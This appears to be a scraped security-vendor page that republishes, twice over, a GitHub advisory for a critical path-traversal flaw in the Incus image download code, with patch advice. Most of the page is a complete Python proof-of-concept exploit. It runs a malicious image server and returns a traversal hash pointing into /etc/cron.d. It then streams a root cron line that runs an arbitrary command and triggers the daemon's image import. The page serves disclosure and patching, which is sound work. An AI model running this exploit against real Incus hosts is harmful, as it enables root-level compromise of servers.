parser.add_argument("--hash-path", default=DEFAULT_TRAVERSAL, help="value returned in Incus-Image-Hash") parser.add_argument("--hold-seconds", type=int, default=90, help="keep payload response open for this many seconds") parser.add_argument("--command", default="id > /tmp/incus-direct-image-url-rce", help="command cron should run") parser.add_argument("--execute-trigger", action="store_true", help="start server and trigger POST /1.0/images") parser.add_argument("--yes-i-understand-this-writes-host-file", action="store_true", help="required with --execute-trigger") args = parser.parse_args() if bool(args.cert) != bool(args.key): parser.error("--cert and --key must be supplied together") if args.execute_trigger and not args.yes_i_understand_this_writes_host_file: parser.error("--execute-trigger requires --yes-i-understand-this-writes-host-file") payload = cron_payload(args.command) trigger_body = image_url_body(args.advertise_url, args.public) print("[*] exploit primitive: direct image URL unvalidated hash path host write") print(f"[*] HEAD URL served to daemon: {args.advertise_url.rstrip()}/stage") print(f"[*] returned Incus-Image-Hash: {args.hash_path}") print(f"[*] returned Incus-Image-URL: {args.advertise_url.rstrip()}/payload") print(f"[*] expected escaped host target from default Incus dir: /etc/cron.d/incus-direct-image-url-rce") print(f"[*] cron payload: {payload.decode().rstrip()}") print(f"[*] trigger body: {json.dumps(trigger_body, sort_keys=True)}") if not args.execute_trigger: print("[*] dry run only; pass --execute-trigger and --yes-i-understand-this-writes-host-file to test") return 0 server = start_server(args, payload) print(f"[*] HTTP server listening on {args.listen_host}:{args.listen_port}") status, data = request_json(args, "POST", images_path(args.project), trigger_body, allow_error=True) print(f"[*] POST /1.0/images HTTP {status}: {json.dumps(data, indent=2, sort_keys=True)}") if server.payload_requested.wait(timeout=min(args.hold_seconds, 30)): print("[*] daemon requested payload; cron file should exist until the held response is released") else: print("[!] daemon did not request payload within the wait window") print("[*] leaving HTTP server active for the remaining hold window") time.sleep(max(0, args.hold_seconds - 30)) server.shutdown() server.server_close() return 0 if __name__ == "__main__": try: raise SystemExit(main()) except BrokenPipeError: raise SystemExit(1) except Exception as exc: print(f"[-] {exc}", file=sys.stderr) raise SystemExit(1) ``` ### Impact An arbitrary file write on the client with root privileges; possibly leading to arbitrary command execution.
Update github.com/lxc/incus/v7/cmd/incusd to 7.2.0 if you use the affected versions. Test the change in a non-production environment first.
Local check
hol-guard supply-chain scanIncus has an arbitrary file write on its client due to trusted image hash affects github.com/lxc/incus/v7/cmd/incusd (go). Severity is critical. ### Summary An arbitrary file write exists in the Incus client when a malicious image server returns a crafted `Incus-Image-Hash` header. This can lead to arbitrary command execution as root on the server. ### Details - `cmd/incusd/images.go:611-684` handles `source.type=url` by HEADing the user-supplied URL, reading `Incus-Image-Hash` and `Incus-Image-URL`, and passing them to `imageDownload()` as `Alias` and `Server`. - `cmd/incusd/daemon_images.go:91-92` defaults `fp` to the caller-controlled alias string. - `cmd/incusd/daemon_images.go:333-335` builds `destName := filepath.Join(destDir, fp)`. - `cmd/incusd/daemon_images.go:469-523` enters the `direct` protocol branch, opens `destName` with `os.Create()`, and copies the HTTP response into that file. - `cmd/incusd/daemon_images.go:528-532` validates the SHA-256 only after the file has already been created and populated. - `cmd/incusd/daemon_images.go:337-344` cleanup only runs after the copy returns; a slow or held response extends the arbitrary-write window. A malicious image server returning something along the following will cause the arbitrary file write. ``` Incus-Image-Hash: ../../../../etc/cron.d/incus-direct-image-url-rce Incus-Image-URL: http://attacker/payload ``` ### PoC The script below creates a malicious image server and requests an Incus server to fetch the image. File write occurs when the image is unpacked. The following script was generated by an LLM. ``` #!/usr/bin/env python3 """Direct image URL hash path traversal to transient host cron write. For `source.type=url`, Incus first HEADs an attacker-controlled URL and trusts the `Incus-Image-Hash` header as the expected fingerprint. The direct download path then creates `/var/lib/incus/images/<hash>` before validating that the hash is a real SHA-256 of the downloaded bytes. A hash containing `../` escapes the image directory. Default mode is dry-run. With --execute-trigger this script starts a tiny HTTP server, returns a traversal hash pointing at cron, streams the cron payload, and keeps the response open so the daemon-side cleanup does not immediately remove the file. """ from __future__ import annotations import argparse import http.client import json import shlex import socket import ssl import sys import threading import time import urllib.parse from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer from typing import Any DEFAULT_SOCKET = "/var/lib/incus/unix.socket" DEFAULT_TRAVERSAL = "../../../../etc/cron.d/incus-direct-image-url-rce" class UnixHTTPConnection(http.client.HTTPConnection): def __init__(self, socket_path: str, timeout: int = 120): super().__init__("incus", timeout=timeout) self.socket_path = socket_path def connect(self) -> None: sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) sock.settimeout(self.timeout) sock.connect(self.socket_path) self.sock = sock class RCEHTTPServer(ThreadingHTTPServer): hash_path: str advertise_url: str payload: bytes hold_seconds: int payload_requested: threading.Event class DirectImageHandler(BaseHTTPRequestHandler): protocol_version = "HTTP/1.1" server_version = "direct-image-rce/1.0" def log_message(self, fmt: str, *args: Any) -> None: print(f"[http] {self.address_string()} - {fmt % args}", flush=True) def do_HEAD(self) -> None: if self.path != "/stage": self.send_error(404) return srv = self.server assert isinstance(srv, RCEHTTPServer) self.send_response(200) self.send_header("Incus-Image-Hash", srv.hash_path) self.send_header("Incus-Image-URL", srv.advertise_url.rstrip("/") + "/payload") self.send_header("Connection", "close") self.end_headers() def do_GET(self) -> None: if self.path != "/payload": self.send_error(404) return srv = self.server assert isinstance(srv, RCEHTTPServer) srv.payload_requested.set() self.send_response(200) self.send_header("Content-Type", "application/octet-stream") self.send_header("Cache-Control", "no-store") self.end_headers() self.wfile.write(srv.payload) self.wfile.flush() print(f"[*] payload bytes written to daemon response; holding for {srv.hold_seconds}s", flush=True) time.sleep(srv.hold_seconds) self.close_connection = True def quote(value: str) -> str: return urllib.parse.quote(value, safe="") def tls_context(args: argparse.Namespace) -> ssl.SSLContext: if args.insecure: ctx = ssl._create_unverified_context() else: ctx = ssl.create_default_context(cafile=args.cacert) if args.cert: ctx.load_cert_chain(args.cert, args.key) return ctx def connection(args: argparse.Namespace) -> http.client.HTTPConnection: if args.url: parsed = urllib.parse.urlparse(args.url) if parsed.scheme != "https": raise ValueError("--url must use https") return http.client.HTTPSConnection( parsed.hostname, parsed.port or 8443, timeout=args.timeout, context=tls_context(args), ) return UnixHTTPConnection(args.socket, timeout=args.timeout) def request_json( args: argparse.Namespace, method: str, path: str, obj: dict[str, Any] | None, allow_error: bool = False, ) -> tuple[int, dict[str, Any]]: body = None if obj is None else json.dumps(obj).encode("utf-8") headers = {"Host": "incus"} if body is not None: headers["Content-Type"] = "application/json" conn = connection(args) conn.request(method, path, body=body, headers=headers) resp = conn.getresponse() raw = resp.read() conn.close() try: data = json.loads(raw) if raw else {} except json.JSONDecodeError: data = {"raw": raw.decode("utf-8", "replace")} if not allow_error and (resp.status >= 400 or data.get("type") == "error"): raise RuntimeError(f"{method} {path} failed with HTTP {resp.status}: {data}") return resp.status, data def images_path(project: str) -> str: return "/1.0/images?project=" + quote(project) def cron_payload(command: str) -> bytes: return f"* * * * * root /bin/sh -c {shlex.quote(command)}\n".encode("utf-8") def image_url_body(project_url: str, public: bool) -> dict[str, Any]: return { "source": { "type": "url", "url": project_url.rstrip("/") + "/stage", }, "public": public, } def start_server(args: argparse.Namespace, payload: bytes) -> RCEHTTPServer: server = RCEHTTPServer((args.listen_host, args.listen_port), DirectImageHandler) server.hash_path = args.hash_path server.advertise_url = args.advertise_url server.payload = payload server.hold_seconds = args.hold_seconds server.payload_requested = threading.Event() thread = threading.Thread(target=server.serve_forever, daemon=True) thread.start() return server def main() -> int: parser = argparse.ArgumentParser(description="Incus direct image URL hash traversal cron RCE PoC") parser.add_argument("--socket", default=DEFAULT_SOCKET, help="Incus Unix socket") parser.add_argument("--url", help="remote Incus URL, for example https://host.ctf:8443") parser.add_argument("--cert", help="client certificate for remote Incus") parser.add_argument("--key", help="client private key for remote Incus") parser.add_argument("--cacert", help="CA certificate for remote Incus") parser.add_argument("--insecure", action="store_true", help="disable TLS verification") parser.add_argument("--timeout", type=int, default=120, help="Incus request timeout") parser.add_argument("--project", default="default", help="project used for image import") parser.add_argument("--public", action="store_true", help="mark imported image public") parser.add_argument("--listen-host", default="0.0.0.0", help="HTTP listen address") parser.add_argument("--listen-port", type=int, default=8088, help="HTTP listen port") parser.add_argument("--advertise-url", default="http://127.0.0.1:8088", help="URL reachable by the Incus daemon") parser.add_argument("--hash-path", default=DEFAULT_TRAVERSAL, help="value returned in Incus-Image-Hash") parser.add_argument("--hold-seconds", type=int, default=90, help="keep payload response open for this many seconds") parser.add_argument("--command", default="id > /tmp/incus-direct-image-url-rce", help="command cron should run") parser.add_argument("--execute-trigger", action="store_true", help="start server and trigger POST /1.0/images") parser.add_argument("--yes-i-understand-this-writes-host-file", action="store_true", help="required with --execute-trigger") args = parser.parse_args() if bool(args.cert) != bool(args.key): parser.error("--cert and --key must be supplied together") if args.execute_trigger and not args.yes_i_understand_this_writes_host_file: parser.error("--execute-trigger requires --yes-i-understand-this-writes-host-file") payload = cron_payload(args.command) trigger_body = image_url_body(args.advertise_url, args.public) print("[*] exploit primitive: direct image URL unvalidated hash path host write") print(f"[*] HEAD URL served to daemon: {args.advertise_url.rstrip()}/stage") print(f"[*] returned Incus-Image-Hash: {args.hash_path}") print(f"[*] returned Incus-Image-URL: {args.advertise_url.rstrip()}/payload") print(f"[*] expected escaped host target from default Incus dir: /etc/cron.d/incus-direct-image-url-rce") print(f"[*] cron payload: {payload.decode().rstrip()}") print(f"[*] trigger body: {json.dumps(trigger_body, sort_keys=True)}") if not args.execute_trigger: print("[*] dry run only; pass --execute-trigger and --yes-i-understand-this-writes-host-file to test") return 0 server = start_server(args, payload) print(f"[*] HTTP server listening on {args.listen_host}:{args.listen_port}") status, data = request_json(args, "POST", images_path(args.project), trigger_body, allow_error=True) print(f"[*] POST /1.0/images HTTP {status}: {json.dumps(data, indent=2, sort_keys=True)}") if server.payload_requested.wait(timeout=min(args.hold_seconds, 30)): print("[*] daemon requested payload; cron file should exist until the held response is released") else: print("[!] daemon did not request payload within the wait window") print("[*] leaving HTTP server active for the remaining hold window") time.sleep(max(0, args.hold_seconds - 30)) server.shutdown() server.server_close() return 0 if __name__ == "__main__": try: raise SystemExit(main()) except BrokenPipeError: raise SystemExit(1) except Exception as exc: print(f"[-] {exc}", file=sys.stderr) raise SystemExit(1) ``` ### Impact An arbitrary file write on the client with root privileges; possibly leading to arbitrary command execution.
AI coding agents often install or upgrade packages automatically in go. A critical vulnerability in a dependency can be pulled into a project through a normal install or update without a human reviewing the change, expanding the blast radius from a single package to every agent workspace that depends on it.
| Package | Affected range | Fixed version |
|---|---|---|
| github.com/lxc/incus/v7/cmd/incusdgo | <7.2.0 | 7.2.0 |
Fixed versions are reported by the source feed; confirm compatibility before updating.
Reported by GitHub Security Advisories (ghsa).
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL GuardUpdate github.com/lxc/incus/v7/cmd/incusd to 7.2.0 if you use the affected versions. Test the change in a non-production environment first.
Local check
hol-guard supply-chain scanIncus has an arbitrary file write on its client due to trusted image hash affects github.com/lxc/incus/v7/cmd/incusd (go). Severity is critical. ### Summary An arbitrary file write exists in the Incus client when a malicious image server returns a crafted `Incus-Image-Hash` header. This can lead to arbitrary command execution as root on the server. ### Details - `cmd/incusd/images.go:611-684` handles `source.type=url` by HEADing the user-supplied URL, reading `Incus-Image-Hash` and `Incus-Image-URL`, and passing them to `imageDownload()` as `Alias` and `Server`. - `cmd/incusd/daemon_images.go:91-92` defaults `fp` to the caller-controlled alias string. - `cmd/incusd/daemon_images.go:333-335` builds `destName := filepath.Join(destDir, fp)`. - `cmd/incusd/daemon_images.go:469-523` enters the `direct` protocol branch, opens `destName` with `os.Create()`, and copies the HTTP response into that file. - `cmd/incusd/daemon_images.go:528-532` validates the SHA-256 only after the file has already been created and populated. - `cmd/incusd/daemon_images.go:337-344` cleanup only runs after the copy returns; a slow or held response extends the arbitrary-write window. A malicious image server returning something along the following will cause the arbitrary file write. ``` Incus-Image-Hash: ../../../../etc/cron.d/incus-direct-image-url-rce Incus-Image-URL: http://attacker/payload ``` ### PoC The script below creates a malicious image server and requests an Incus server to fetch the image. File write occurs when the image is unpacked. The following script was generated by an LLM. ``` #!/usr/bin/env python3 """Direct image URL hash path traversal to transient host cron write. For `source.type=url`, Incus first HEADs an attacker-controlled URL and trusts the `Incus-Image-Hash` header as the expected fingerprint. The direct download path then creates `/var/lib/incus/images/<hash>` before validating that the hash is a real SHA-256 of the downloaded bytes. A hash containing `../` escapes the image directory. Default mode is dry-run. With --execute-trigger this script starts a tiny HTTP server, returns a traversal hash pointing at cron, streams the cron payload, and keeps the response open so the daemon-side cleanup does not immediately remove the file. """ from __future__ import annotations import argparse import http.client import json import shlex import socket import ssl import sys import threading import time import urllib.parse from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer from typing import Any DEFAULT_SOCKET = "/var/lib/incus/unix.socket" DEFAULT_TRAVERSAL = "../../../../etc/cron.d/incus-direct-image-url-rce" class UnixHTTPConnection(http.client.HTTPConnection): def __init__(self, socket_path: str, timeout: int = 120): super().__init__("incus", timeout=timeout) self.socket_path = socket_path def connect(self) -> None: sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) sock.settimeout(self.timeout) sock.connect(self.socket_path) self.sock = sock class RCEHTTPServer(ThreadingHTTPServer): hash_path: str advertise_url: str payload: bytes hold_seconds: int payload_requested: threading.Event class DirectImageHandler(BaseHTTPRequestHandler): protocol_version = "HTTP/1.1" server_version = "direct-image-rce/1.0" def log_message(self, fmt: str, *args: Any) -> None: print(f"[http] {self.address_string()} - {fmt % args}", flush=True) def do_HEAD(self) -> None: if self.path != "/stage": self.send_error(404) return srv = self.server assert isinstance(srv, RCEHTTPServer) self.send_response(200) self.send_header("Incus-Image-Hash", srv.hash_path) self.send_header("Incus-Image-URL", srv.advertise_url.rstrip("/") + "/payload") self.send_header("Connection", "close") self.end_headers() def do_GET(self) -> None: if self.path != "/payload": self.send_error(404) return srv = self.server assert isinstance(srv, RCEHTTPServer) srv.payload_requested.set() self.send_response(200) self.send_header("Content-Type", "application/octet-stream") self.send_header("Cache-Control", "no-store") self.end_headers() self.wfile.write(srv.payload) self.wfile.flush() print(f"[*] payload bytes written to daemon response; holding for {srv.hold_seconds}s", flush=True) time.sleep(srv.hold_seconds) self.close_connection = True def quote(value: str) -> str: return urllib.parse.quote(value, safe="") def tls_context(args: argparse.Namespace) -> ssl.SSLContext: if args.insecure: ctx = ssl._create_unverified_context() else: ctx = ssl.create_default_context(cafile=args.cacert) if args.cert: ctx.load_cert_chain(args.cert, args.key) return ctx def connection(args: argparse.Namespace) -> http.client.HTTPConnection: if args.url: parsed = urllib.parse.urlparse(args.url) if parsed.scheme != "https": raise ValueError("--url must use https") return http.client.HTTPSConnection( parsed.hostname, parsed.port or 8443, timeout=args.timeout, context=tls_context(args), ) return UnixHTTPConnection(args.socket, timeout=args.timeout) def request_json( args: argparse.Namespace, method: str, path: str, obj: dict[str, Any] | None, allow_error: bool = False, ) -> tuple[int, dict[str, Any]]: body = None if obj is None else json.dumps(obj).encode("utf-8") headers = {"Host": "incus"} if body is not None: headers["Content-Type"] = "application/json" conn = connection(args) conn.request(method, path, body=body, headers=headers) resp = conn.getresponse() raw = resp.read() conn.close() try: data = json.loads(raw) if raw else {} except json.JSONDecodeError: data = {"raw": raw.decode("utf-8", "replace")} if not allow_error and (resp.status >= 400 or data.get("type") == "error"): raise RuntimeError(f"{method} {path} failed with HTTP {resp.status}: {data}") return resp.status, data def images_path(project: str) -> str: return "/1.0/images?project=" + quote(project) def cron_payload(command: str) -> bytes: return f"* * * * * root /bin/sh -c {shlex.quote(command)}\n".encode("utf-8") def image_url_body(project_url: str, public: bool) -> dict[str, Any]: return { "source": { "type": "url", "url": project_url.rstrip("/") + "/stage", }, "public": public, } def start_server(args: argparse.Namespace, payload: bytes) -> RCEHTTPServer: server = RCEHTTPServer((args.listen_host, args.listen_port), DirectImageHandler) server.hash_path = args.hash_path server.advertise_url = args.advertise_url server.payload = payload server.hold_seconds = args.hold_seconds server.payload_requested = threading.Event() thread = threading.Thread(target=server.serve_forever, daemon=True) thread.start() return server def main() -> int: parser = argparse.ArgumentParser(description="Incus direct image URL hash traversal cron RCE PoC") parser.add_argument("--socket", default=DEFAULT_SOCKET, help="Incus Unix socket") parser.add_argument("--url", help="remote Incus URL, for example https://host.ctf:8443") parser.add_argument("--cert", help="client certificate for remote Incus") parser.add_argument("--key", help="client private key for remote Incus") parser.add_argument("--cacert", help="CA certificate for remote Incus") parser.add_argument("--insecure", action="store_true", help="disable TLS verification") parser.add_argument("--timeout", type=int, default=120, help="Incus request timeout") parser.add_argument("--project", default="default", help="project used for image import") parser.add_argument("--public", action="store_true", help="mark imported image public") parser.add_argument("--listen-host", default="0.0.0.0", help="HTTP listen address") parser.add_argument("--listen-port", type=int, default=8088, help="HTTP listen port") parser.add_argument("--advertise-url", default="http://127.0.0.1:8088", help="URL reachable by the Incus daemon") parser.add_argument("--hash-path", default=DEFAULT_TRAVERSAL, help="value returned in Incus-Image-Hash") parser.add_argument("--hold-seconds", type=int, default=90, help="keep payload response open for this many seconds") parser.add_argument("--command", default="id > /tmp/incus-direct-image-url-rce", help="command cron should run") parser.add_argument("--execute-trigger", action="store_true", help="start server and trigger POST /1.0/images") parser.add_argument("--yes-i-understand-this-writes-host-file", action="store_true", help="required with --execute-trigger") args = parser.parse_args() if bool(args.cert) != bool(args.key): parser.error("--cert and --key must be supplied together") if args.execute_trigger and not args.yes_i_understand_this_writes_host_file: parser.error("--execute-trigger requires --yes-i-understand-this-writes-host-file") payload = cron_payload(args.command) trigger_body = image_url_body(args.advertise_url, args.public) print("[*] exploit primitive: direct image URL unvalidated hash path host write") print(f"[*] HEAD URL served to daemon: {args.advertise_url.rstrip()}/stage") print(f"[*] returned Incus-Image-Hash: {args.hash_path}") print(f"[*] returned Incus-Image-URL: {args.advertise_url.rstrip()}/payload") print(f"[*] expected escaped host target from default Incus dir: /etc/cron.d/incus-direct-image-url-rce") print(f"[*] cron payload: {payload.decode().rstrip()}") print(f"[*] trigger body: {json.dumps(trigger_body, sort_keys=True)}") if not args.execute_trigger: print("[*] dry run only; pass --execute-trigger and --yes-i-understand-this-writes-host-file to test") return 0 server = start_server(args, payload) print(f"[*] HTTP server listening on {args.listen_host}:{args.listen_port}") status, data = request_json(args, "POST", images_path(args.project), trigger_body, allow_error=True) print(f"[*] POST /1.0/images HTTP {status}: {json.dumps(data, indent=2, sort_keys=True)}") if server.payload_requested.wait(timeout=min(args.hold_seconds, 30)): print("[*] daemon requested payload; cron file should exist until the held response is released") else: print("[!] daemon did not request payload within the wait window") print("[*] leaving HTTP server active for the remaining hold window") time.sleep(max(0, args.hold_seconds - 30)) server.shutdown() server.server_close() return 0 if __name__ == "__main__": try: raise SystemExit(main()) except BrokenPipeError: raise SystemExit(1) except Exception as exc: print(f"[-] {exc}", file=sys.stderr) raise SystemExit(1) ``` ### Impact An arbitrary file write on the client with root privileges; possibly leading to arbitrary command execution.
AI coding agents often install or upgrade packages automatically in go. A critical vulnerability in a dependency can be pulled into a project through a normal install or update without a human reviewing the change, expanding the blast radius from a single package to every agent workspace that depends on it.
| Package | Affected range | Fixed version |
|---|---|---|
| github.com/lxc/incus/v7/cmd/incusdgo | <7.2.0 | 7.2.0 |
Fixed versions are reported by the source feed; confirm compatibility before updating.
Reported by GitHub Security Advisories (ghsa).
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL Guard